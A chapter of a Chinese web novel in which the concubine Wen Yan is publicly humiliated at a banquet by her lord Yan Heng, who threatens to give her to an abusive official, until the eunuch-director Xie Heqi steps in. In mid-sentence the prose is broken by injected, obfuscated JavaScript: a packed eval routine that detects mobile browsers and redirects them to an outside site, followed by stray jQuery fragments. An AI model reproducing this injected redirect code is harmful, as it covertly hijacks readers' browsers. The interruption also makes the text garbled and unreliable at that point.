上百道目光同时凝在了温砚的身上,让她如坐针毡。
她实在不知如何是好,只是抬眼看着燕珩,目光中是一种近乎凄凉的哀求。
燕珩却不为所动,他避开温砚的目光,冷声道:“今日若谢大人不饮!”他扫视一圈,目光最终落到一个身形干瘦,留着山羊胡子的老头身上,“你以后便跟着他。”
温砚看了过去,脸色霎时一片惨白。
燕珩所指之人,正是她的嫡母曾想为她指婚的鸿胪寺卿冯献。
此人年过六十,床笫之间还有些不可言说的恶癖,被送到他床上的婢妾,没几个能活得过一年的。
温砚十三岁那年,在温府上第一次见到了冯献。自此,那道带着赤/裸/裸的目光仿若蛇信,自那以后便如附骨之蛆般黏在了她的身上,让她如芒在背。
而冯献的心思,蒋氏一清二楚。
冯献官居四品,她早就有意巴结来温序谋个前程,为此牺牲个小小庶女,对她来说根本不是什么大不了的事情。
而她之所以嫁给燕珩为妾,也是不过是为了逃离冯献的魔掌。
可如今,她竟被燕珩指给了冯献。
温砚只觉浑身发冷。
她觉得有一只无形的宿命之手,把她戏弄在股掌之间,当年她拼尽全力逃开的噩梦,如今绕了一圈,终究还是成为了现实。
那冯献本已有几分微醺,蓦然被燕珩点了名,他先是一惊,看清温砚的脸后,那张干瘦猥琐的脸上又现出滔天的狂喜来。
这官场上赠妾交好一事本不少见,但眼下这个场景却着实有些诡异。
但冯献肖想温砚多年,早已被色欲迷了眼,加上此时酒气又上了头。一时间,他忘了细想,急切地上前,对着燕珩谢道:“世子爷当真?这美人真许给老夫了?那便多...多谢世子爷赏......”
可“赏”字还没落地,燕珩猛地从椅上霍然起身,便拿起手中的酒盏朝冯献面门狠狠砸去,“这里轮不到你说话!”
只听“哐”一声,那白玉酒盏在冯献额上炸开,琥珀色的酒液混着锋利的碎瓷四下飞溅。
一道鲜红的血线顺着冯献的鼻骨迅速滑落,沾在他谄媚的笑脸上,显得格外狰狞。
冯献被砸得闷哼一声,哎哟一声捂住了额头,浑浊的老眼里满是惊恐与茫然,连嘴角的笑都僵在了脸上。
满室宾客瞬间噤声,方才还喧闹的厅堂,此刻只剩下冯献压抑的呻吟。
燕珩转而看向温砚,脸上的神色有一种冰冷的残忍,“怎么?还是不去?”
温砚再也抑制不住心中的恐惧,大滴大滴的泪水夺眶而出。
她踉跄着上前,指尖紧紧攥住燕珩的袍角,声音带着哭腔颤道:“世子爷,求您了,妾不知哪里做错了,您告诉妾身,不管是何事,妾都改……”
燕珩避开她的眼神,又看向谢鹤期,冷笑着开口:
“谢督主,你倒说说,此事如之奈何?我这妾室有二心,平时伺候得也不尽人意。我看着厌烦,本该拖出去乱棍打死了,图个清静,但我向来不是嗜杀之辈,便想着给她一条生路,把她指给冯大人,她倒好,还在这里耍起小姐脾气来。”
谢鹤期还未开口,温砚再也顾不得任何体面,跪在燕珩的脚边,像是抓住最后一根救命稻草般,死死地抓住了燕珩的衣袖。
“爷,妾真的没有二心,你告诉妾,妾哪里伺候得不好,别把我送给冯献,你把妾身给他,妾活不下去,妾真的活不下去......”
温砚本就生得娇艳,此刻眼尾因落泪泛着浅红,更添了几分楚楚可怜的韵致,连东厂的几个属官看了,脸上竟都露出几分不忍。
然而燕珩却没有怜惜。
他微挑了眉,似饶有兴味地开口,“你说怎么办,你不想跟着冯大人,那你是想跟着谁?”
他的手指状似无意地一指,指向了主位的谢鹤期,“是他?”
温砚瞬间惊恐万分,“世子爷,不是的,不是的你听妾解释.......”
然而燕珩似乎真的只是随手一指,他的手指从主位移了下来,又在人群中随手点了几个人,“是他?还是他?你倒说说,你想跟着谁?”
温砚强压着心头的慌乱,竭力让自己冷静下来,她暗自梳理眼前的境况:官场之中,互赠姬妾本是常事,算不得稀罕。或许燕珩就是真的厌弃了她,想把她送出府去——但于她而言未必不是桩转机——只要能离开国公府这樊笼,日后寻机会脱身逃走,总归要容易许多。
于是她顺着燕珩的手指看了过去,宴上有几张熟识的面孔,是曾经温家绸缎庄上的熟客,虽他们家中亦是妻妾成群,倒也还存有几分良心,或许向他们求助,还有一线生机。
“世子爷,王大人或者张大人都可以......”
闻言,燕珩的眸中现出几分痛色,但下一瞬就被滔天的怒火吞噬,他几乎是咬牙切齿道,“好,好,好得很!你愿意跟着他们,也不愿跟我是不是?”
他一把拉住温砚的手,把她拽到谢鹤期身前,“想摆脱我是不是?那好!今天这个酒,你非敬不可!”
温砚进退不得,伏在地上绝望地低声呜咽起来。
就在这时,清沉低缓的声音突然响起——
“国公府家风雅正,世子爷在大庭广众之下为难一个女子,就不怕辱了国公府的名声?”
温砚闻声看去,只见谢鹤期执了一盏茶,正浅斟慢饮。
似乎是为了刻意避开什么一般,他的目光落在茶盏之上,眼睫低低垂着,在那如玉的脸上覆上一弯浅淡的阴影。
燕珩看着谢鹤期,眼中现出扭曲的戾气,“偏生她温砚,我就是要为难!”
话音一落,温砚心中最后一丝希望也彻底断绝。
她自认为无愧于燕珩。
燕珩是给了她华服美食,但她也尽了一个妾室的本分,对他伺候得尽心尽力,哪怕是床笫之间,她也绝对顺从。
她从未违逆过他的正妻,认真侍奉他的父母。她自认为对燕珩并无亏欠之处,他们就像做买卖一样,钱货两讫。
她以前想,燕珩这等身份,便是为了国公府的体面,也不会亲自下场来和她一个商户女计较。便是最后厌弃了她,她也能在国公府的后宅中有一处安生立命之地,可以让她和小满活下去。
又谁料,燕珩竟会把事情做得那般狠绝。
似下了什么决心般,温砚支起颓软的身子,站直,走到谢鹤期前,沉默地倒了一杯酒,又跪下,将酒双手奉上,“求督主大人怜惜!”
回应她的只有一片沉默。
温砚的心又沉了几分。
于是她把酒盏放在地上,对着谢鹤期磕了个响头,声音越发哽咽,
“妾身知道此事对督主多有为难,求督主大人怜惜,也求督主大人高抬贵手,妾身不能死.......还有人在等妾身归家,她名义上虽是妾身的婢女,但实则和妾身从小相依为命,亲如姐妹,若是妾身死了,她不知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268428|182191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怎么办.......”
回应她的仍是一片沉默。
她与谢鹤期是旧识。
在相熟之人面前,做出此等卑贱姿态,她又是羞愧又是狼狈,根本不敢抬头看他一眼,只是流着泪,不停地向他磕着头。
在她连磕了数个头后,只听一声悠长的叹息在头顶响起。
温砚以为终于有了转机,连忙抬头看向谢鹤期,可是那杯酒,他依然未动。
她眼中的光亮又一寸寸地暗淡了下来。
又过了片刻,谢鹤期终于抬眼,“温姑娘,你不应当来求我。”
“可若不求督主,妾身又能求谁?”
谢鹤期目光移向燕珩,声音温润低缓,仿若循循善诱:“燕世子是姑娘的夫君,夫妻之间,没什么不可坐下好生商谈的。”
温砚也转头看了过去,身后,燕珩仍死死地盯着她,眼眶似因恨意而隐隐发红。
她心中好笑,她算哪门子的妻,她不过是燕珩的一个玩物,高兴时便逗弄下,不高兴了,便像今日这般,当着全京城的人的面,肆意折辱。
温砚虽不知自己做错了什么,不过既然燕珩既要辱她,那么她便如他所愿。
她又对谢鹤期磕了一个头。
这次,她磕得极重,沉沉闷闷的一道“咚”声,听得人心头一紧。
“求督主怜惜!那冯献心狠手辣,若妾身真的被世子爷送给了他,怕是活不下去了。”
细细的血流从温砚额角流下。
她的皮肤极白,欺霜赛雪,血又极红,夺目刺眼,像是一道红蛇从雪地里蜿蜒而过,有一种绝望且决绝的惨艳。
谢鹤期的瞳孔微微一缩,“别磕了!”
温砚却像是没听到一般,继续重重地磕了下去,“求督主怜惜。”
地上沾了血色,身后传来了燕珩的声音。
“够了,温砚!我们回去!”
温砚仍像是没听到,也不觉痛般,又朝着地面重重地磕了下去。
一只手出现在她的眼前,把她的额头和坚硬的地面隔开。
那骨节修长分明,是冷冷的白,和白玉酒盏几乎是一色。
温砚微怔抬眼,便见谢鹤期另一只手轻轻抬起,修长的手指捏着那只白玉酒盏,缓缓朝一侧倾斜。
杯口朝下,却无半滴酒液坠落。
“莫哭,我喝完了。”
温砚从谢鹤期手中接过酒盏,又是感激,又是羞愧,又是切实松了口气。
她喉间发涩,声音带着未散的哽咽,低低道:“多谢督主怜惜。”
她隐隐感觉,燕珩今日带她来这里,若只是为了折辱她,未免太大费周章。她虽身处后宅,却也听闻过朝堂之上的波诡云谲,想来此事或许还牵扯着朝上的明争暗斗,她不过是被卷入其中的一枚棋子。
朝廷倾轧,临深履薄,稍有不慎,便是万劫不复。
她隐隐觉得,谢鹤期喝下这杯酒,便是一种妥协。而这,或许会给他的未来埋下某种祸根。
总归她今天,是又欠了谢鹤期一次。
温砚有些不安,悄悄抬眸看了谢鹤期一眼。
谢鹤期也正好看了过来
在只有二人才能看得见的角度,她看到谢鹤期对着她轻轻牵了牵唇角,露出一抹极淡的笑。
那笑,似在安抚,又似歉疚。
温砚不明白他对她有什么好歉疚的,只觉得那笑如同柳梢头挂着的一弯新月,朦胧、清浅,却映亮了她的眼。